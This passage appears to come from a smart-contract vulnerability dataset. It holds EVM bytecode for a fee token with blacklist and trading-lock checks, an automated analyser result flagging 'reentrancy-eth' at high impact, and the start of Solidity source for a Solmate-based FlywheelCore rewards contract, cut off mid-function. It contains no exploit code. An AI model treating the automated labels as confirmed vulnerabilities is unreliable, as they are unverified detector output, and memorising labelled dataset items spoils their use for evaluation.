5d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121ef565b50565b61124461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132a9565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132c9565b5b905060200201602081019061130c9190613048565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613327565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132a9565b60405180910390fd5b8060178190555050565b6114a461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611597906133e1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613505565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118219190612f79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613597565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613629565b60405180910390fd5b6000811161194f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611946906136bb565b60405180910390fd5b611957610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c55750611995610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db057601560149054906101000a900460ff16611a54576119e6610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061374d565b60405180910390fd5b5b601654811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a90906137b9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b3d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061384b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c295760175481611bde84610c50565b611be8919061386b565b10611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90613933565b60405180910390fd5b5b6000611c3430610c50565b9050600060185482101590506016548210611c4f5760165491505b808015611c67575060158054906101000a900460ff16155b8015611cc15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd95750601560169054906101000a900460ff165b8015611d2f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d855750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dad57611d93826121ef565b60004790506000811115611dab57611daa47612115565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f18576000905061209f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fdb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209e57600a54600c81905550600b54600d819055505b5b6120ab84848484612466565b50505050565b60008383111582906120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f09190612e22565b60405180910390fd5b50600083856121089190613953565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561217d573d6000803e3d6000fd5b5050565b60006006548211156121c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bf906139f9565b60405180910390fd5b60006121d2612493565b90506121e781846124be90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222657612225612bb0565b5b6040519080825280602002602001820160405280156122545781602001602082028036833780820191505090505b509050308160008151811061226c5761226b6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123379190613a2e565b8160018151811061234b5761234a6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612416959493929190613b54565b600060405180830381600087803b15801561243057600080fd5b505af1158015612444573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061247457612473612508565b5b61247f848484612545565b8061248d5761248c612710565b5b50505050565b60008060006124a0612724565b915091506124b781836124be90919063ffffffff16565b9250505090565b600061250083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612783565b905092915050565b6000600c5414801561251c57506000600d54145b61254357600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612557876127e6565b9550955095509550955095506125b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612696816128f6565b6126a084836129b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fd9190612f79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612758670de0b6b3a76400006006546124be90919063ffffffff16565b82101561277657600654670de0b6b3a764000093509350505061277f565b81819350935050505b9091565b600080831182906127ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c19190612e22565b60405180910390fd5b50600083856127d99190613bdd565b9050809150509392505050565b60008060008060008060008060006128038a600c54600d546129ed565b9250925092506000612813612493565b905060008060006128268e878787612a83565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b1565b905092915050565b60008082846128a7919061386b565b9050838110156128ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e390613c5a565b60405180910390fd5b8091505092915050565b6000612900612493565b905060006129178284612b0c90919063ffffffff16565b905061296b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129c88260065461284e90919063ffffffff16565b6006819055506129e38160075461289890919063ffffffff16565b6007819055505050565b600080600080612a196064612a0b888a612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a436064612a35888b612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a6c82612a5e858c61284e90919063ffffffff16565b61284e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a9c8589612b0c90919063ffffffff16565b90506000612ab38689612b0c90919063ffffffff16565b90506000612aca8789612b0c90919063ffffffff16565b90506000612af382612ae5858761284e90919063ffffffff16565b61284e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612b1e5760009050612b80565b60008284612b2c9190613c7a565b9050828482612b3b9190613bdd565b14612b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7290613d46565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be882612b9f565b810181811067ffffffffffffffff82111715612c0757612c06612bb0565b5b80604052505050565b6000612c1a612b86565b9050612c268282612bdf565b919050565b600067ffffffffffffffff821115612c4657612c45612bb0565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8782612c5c565b9050919050565b612c9781612c7c565b8114612ca257600080fd5b50565b600081359050612cb481612c8e565b92915050565b6000612ccd612cc884612c2b565b612c10565b90508083825260208201905060208402830185811115612cf057612cef612c57565b5b835b81811015612d195780612d058882612ca5565b845260208401935050602081019050612cf2565b5050509392505050565b600082601f830112612d3857612d37612b9a565b5b8135612d48848260208601612cba565b91505092915050565b600060208284031215612d6757612d66612b90565b5b600082013567ffffffffffffffff811115612d8557612d84612b95565b5b612d9184828501612d23565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dd4578082015181840152602081019050612db9565b83811115612de3576000848401525b50505050565b6000612df482612d9a565b612dfe8185612da5565b9350612e0e818560208601612db6565b612e1781612b9f565b840191505092915050565b60006020820190508181036000830152612e3c8184612de9565b905092915050565b6000819050919050565b612e5781612e44565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b60008060408385031215612e9157612e90612b90565b5b6000612e9f85828601612ca5565b9250506020612eb085828601612e65565b9150509250929050565b60008115159050919050565b612ecf81612eba565b82525050565b6000602082019050612eea6000830184612ec6565b92915050565b6000819050919050565b6000612f15612f10612f0b84612c5c565b612ef0565b612c5c565b9050919050565b6000612f2782612efa565b9050919050565b6000612f3982612f1c565b9050919050565b612f4981612f2e565b82525050565b6000602082019050612f646000830184612f40565b92915050565b612f7381612e44565b82525050565b6000602082019050612f8e6000830184612f6a565b92915050565b600080600060608486031215612fad57612fac612b90565b5b6000612fbb86828701612ca5565b9350506020612fcc86828701612ca5565b9250506040612fdd86828701612e65565b9150509250925092565b600060ff82169050919050565b612ffd81612fe7565b82525050565b60006020820190506130186000830184612ff4565b92915050565b61302781612c7c565b82525050565b6000602082019050613042600083018461301e565b92915050565b60006020828403121561305e5761305d612b90565b5b600061306c84828501612ca5565b91505092915050565b61307e81612eba565b811461308957600080fd5b50565b60008135905061309b81613075565b92915050565b6000602082840312156130b7576130b6612b90565b5b60006130c58482850161308c565b91505092915050565b6000602082840312156130e4576130e3612b90565b5b60006130f284828501612e65565b91505092915050565b6000806000806080858703121561311557613114612b90565b5b600061312387828801612e65565b945050602061313487828801612e65565b935050604061314587828801612e65565b925050606061315687828801612e65565b91505092959194509250565b600080fd5b60008083601f84011261317d5761317c612b9a565b5b8235905067ffffffffffffffff81111561319a57613199613162565b5b6020830191508360208202830111156131b6576131b5612c57565b5b9250929050565b6000806000604084860312156131d6576131d5612b90565b5b600084013567ffffffffffffffff8111156131f4576131f3612b95565b5b61320086828701613167565b935093505060206132138682870161308c565b9150509250925092565b6000806040838503121561323457613233612b90565b5b600061324285828601612ca5565b925050602061325385828601612ca5565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613293602083612da5565b915061329e8261325d565b602082019050919050565b600060208201905081810360008301526132c281613286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061333282612e44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613364576133636132f8565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133cb602683612da5565b91506133d68261336f565b604082019050919050565b600060208201905081810360008301526133fa816133be565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061345d602483612da5565b915061346882613401565b604082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ef602283612da5565b91506134fa82613493565b604082019050919050565b6000602082019050818103600083015261351e816134e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613581602583612da5565b915061358c82613525565b604082019050919050565b600060208201905081810360008301526135b081613574565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613613602383612da5565b915061361e826135b7565b604082019050919050565b6000602082019050818103600083015261364281613606565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136a5602983612da5565b91506136b082613649565b604082019050919050565b600060208201905081810360008301526136d481613698565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613737603f83612da5565b9150613742826136db565b604082019050919050565b600060208201905081810360008301526137668161372a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137a3601c83612da5565b91506137ae8261376d565b602082019050919050565b600060208201905081810360008301526137d281613796565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613835602383612da5565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b600061387682612e44565b915061388183612e44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b6576138b56132f8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061391d602383612da5565b9150613928826138c1565b604082019050919050565b6000602082019050818103600083015261394c81613910565b9050919050565b600061395e82612e44565b915061396983612e44565b92508282101561397c5761397b6132f8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139e3602a83612da5565b91506139ee82613987565b604082019050919050565b60006020820190508181036000830152613a12816139d6565b9050919050565b600081519050613a2881612c8e565b92915050565b600060208284031215613a4457613a43612b90565b5b6000613a5284828501613a19565b91505092915050565b6000819050919050565b6000613a80613a7b613a7684613a5b565b612ef0565b612e44565b9050919050565b613a9081613a65565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613acb81612c7c565b82525050565b6000613add8383613ac2565b60208301905092915050565b6000602082019050919050565b6000613b0182613a96565b613b0b8185613aa1565b9350613b1683613ab2565b8060005b83811015613b47578151613b2e8882613ad1565b9750613b3983613ae9565b925050600181019050613b1a565b5085935050505092915050565b600060a082019050613b696000830188612f6a565b613b766020830187613a87565b8181036040830152613b888186613af6565b9050613b97606083018561301e565b613ba46080830184612f6a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613be882612e44565b9150613bf383612e44565b925082613c0357613c02613bae565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c44601b83612da5565b9150613c4f82613c0e565b602082019050919050565b60006020820190508181036000830152613c7381613c37565b9050919050565b6000613c8582612e44565b9150613c9083612e44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc957613cc86132f8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d30602183612da5565b9150613d3b82613cd4565b604082019050919050565b60006020820190508181036000830152613d5f81613d23565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3ac9200d79b4a47775920d14c0303fc6eefeccf7d3f8d26b4fd202bd67b5c2464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,703
0xfe64b570b64b97eeeef9179cd98fdd8743ae564d
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.10; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } /// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) abstract contract Auth { event OwnerUpdated(address indexed user, address indexed newOwner); event AuthorityUpdated(address indexed user, Authority indexed newAuthority); address public owner; Authority public authority; constructor(address _owner, Authority _authority) { owner = _owner; authority = _authority; emit OwnerUpdated(msg.sender, _owner); emit AuthorityUpdated(msg.sender, _authority); } modifier requiresAuth() { require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED"); _; } function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) { Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas. // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be // aware that this makes protected functions uncallable even to the owner if the authority is out of order. return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner; } function setAuthority(Authority newAuthority) public virtual { // We check if the caller is the owner first because we want to ensure they can // always swap out the authority even if it's reverting or using up a lot of gas. require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig)); authority = newAuthority; emit AuthorityUpdated(msg.sender, newAuthority); } function setOwner(address newOwner) public virtual requiresAuth { owner = newOwner; emit OwnerUpdated(msg.sender, newOwner); } } /// @notice A generic interface for a contract which provides authorization data to an Auth instance. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) interface Authority { function canCall( address user, address target, bytes4 functionSig ) external view returns (bool); } /** @title Rewards Module for Flywheel @notice The rewards module is a minimal interface for determining the quantity of rewards accrued to a flywheel market. Different module strategies include: * a static reward rate per second * a decaying reward rate * a dynamic just-in-time reward stream * liquid governance reward delegation */ interface IFlywheelRewards { function getAccruedRewards(ERC20 market, uint32 lastUpdatedTimestamp) external returns (uint256 rewards); } /** @title Balance Booster Module for Flywheel @notice An optional module for virtually boosting user balances. This allows a Flywheel Core to plug into some balance boosting logic. Boosting logic can be associated with referrals, vote-escrow, or other strategies. It can even be used to model exotic strategies like borrowing. */ interface IFlywheelBooster { function boostedTotalSupply(ERC20 market) external view returns(uint256); function boostedBalanceOf(ERC20 market, address user) external view returns(uint256); } /** @title Flywheel Core Incentives Manager @notice Flywheel is a general framework for managing token incentives. It is comprised of the Core (this contract), Rewards module, and optional Booster module. Core is responsible for maintaining reward accrual through reward indexes. It delegates the actual accrual logic to the Rewards Module. For maximum accuracy and to avoid exploits, rewards accrual should be notified atomically through the accrue hook. Accrue should be called any time tokens are transferred, minted, or burned. */ contract FlywheelCore is Auth { event AddMarket(address indexed newMarket); event FlywheelRewardsUpdate(address indexed oldFlywheelRewards, address indexed newFlywheelRewards); event AccrueRewards(ERC20 indexed cToken, address indexed owner, uint rewardsDelta, uint rewardsIndex); event ClaimRewards(address indexed owner, uint256 amount); struct RewardsState { /// @notice The market's last updated index uint224 index; /// @notice The timestamp the index was last updated at uint32 lastUpdatedTimestamp; } /// @notice The token to reward ERC20 public immutable rewardToken; /// @notice the rewards contract for managing streams IFlywheelRewards public flywheelRewards; /// @notice optional booster module for calculating virtual balances on markets IFlywheelBooster public immutable flywheelBooster; /// @notice the fixed point factor of flywheel uint224 public constant ONE = 1e18; /// @notice The market index and last updated per market mapping(ERC20 => RewardsState) public marketState; /// @notice user index per market mapping(ERC20 => mapping(address => uint224)) public userIndex; /// @notice The accrued but not yet transferred rewards for each user mapping(address => uint256) public rewardsAccrued; /// @dev immutable flag for short-circuiting boosting logic bool internal immutable applyBoosting; constructor( ERC20 _rewardToken, IFlywheelRewards _flywheelRewards, IFlywheelBooster _flywheelBooster, address _owner, Authority _authority ) Auth(_owner, _authority) { rewardToken = _rewardToken; flywheelRewards = _flywheelRewards; flywheelBooster = _flywheelBooster; applyBoosting = address(_flywheelBooster) != address(0); } /// @notice initialize a new market function addMarketForRewards(ERC20 market) external requiresAuth { marketState[market] = RewardsState({ index: ONE, lastUpdatedTimestamp: uint32(block.timestamp) }); emit AddMarket(address(market)); } /// @notice swap out the flywheel rewards contract function setFlywheelRewards(IFlywheelRewards newFlywheelRewards) external requiresAuth { address oldFlywheelRewards = address(flywheelRewards); flywheelRewards = newFlywheelRewards; emit FlywheelRewardsUpdate(oldFlywheelRewards, address(newFlywheelRewards)); } /// @notice accrue rewards for a single user on a market function accrue(ERC20 market, address user) public returns (uint256) { RewardsState memory state = marketState[market]; if (state.index == 0) return 0; state = accrueMarket(market, state); return accrueUser(market, user, state); } /// @notice accrue rewards for two users on a market function accrue(ERC20 market, address user, address secondUser) public returns (uint256, uint256) { RewardsState memory state = marketState[market]; if (state.index == 0) return (0, 0); state = accrueMarket(market, state); return (accrueUser(market, user, state), accrueUser(market, secondUser, state)); } /// @notice claim rewards for a given owner function claim(address owner) external { uint256 accrued = rewardsAccrued[owner]; if (accrued != 0) { rewardsAccrued[owner] = 0; rewardToken.transfer(owner, accrued); emit ClaimRewards(owner, accrued); } } /// @notice accumulate global rewards on a market function accrueMarket(ERC20 market, RewardsState memory state) private returns(RewardsState memory rewardsState) { // calculate accrued rewards through module uint256 marketRewardsAccrued = flywheelRewards.getAccruedRewards(market, state.lastUpdatedTimestamp); rewardsState = state; if (marketRewardsAccrued > 0) { // use the booster or token supply to calculate reward index denominator uint256 supplyTokens = applyBoosting ? flywheelBooster.boostedTotalSupply(market): market.totalSupply(); // accumulate rewards per token onto the index, multiplied by fixed-point factor rewardsState = RewardsState({ index: state.index + uint224(marketRewardsAccrued * ONE / supplyTokens), lastUpdatedTimestamp: uint32(block.timestamp) }); marketState[market] = rewardsState; } 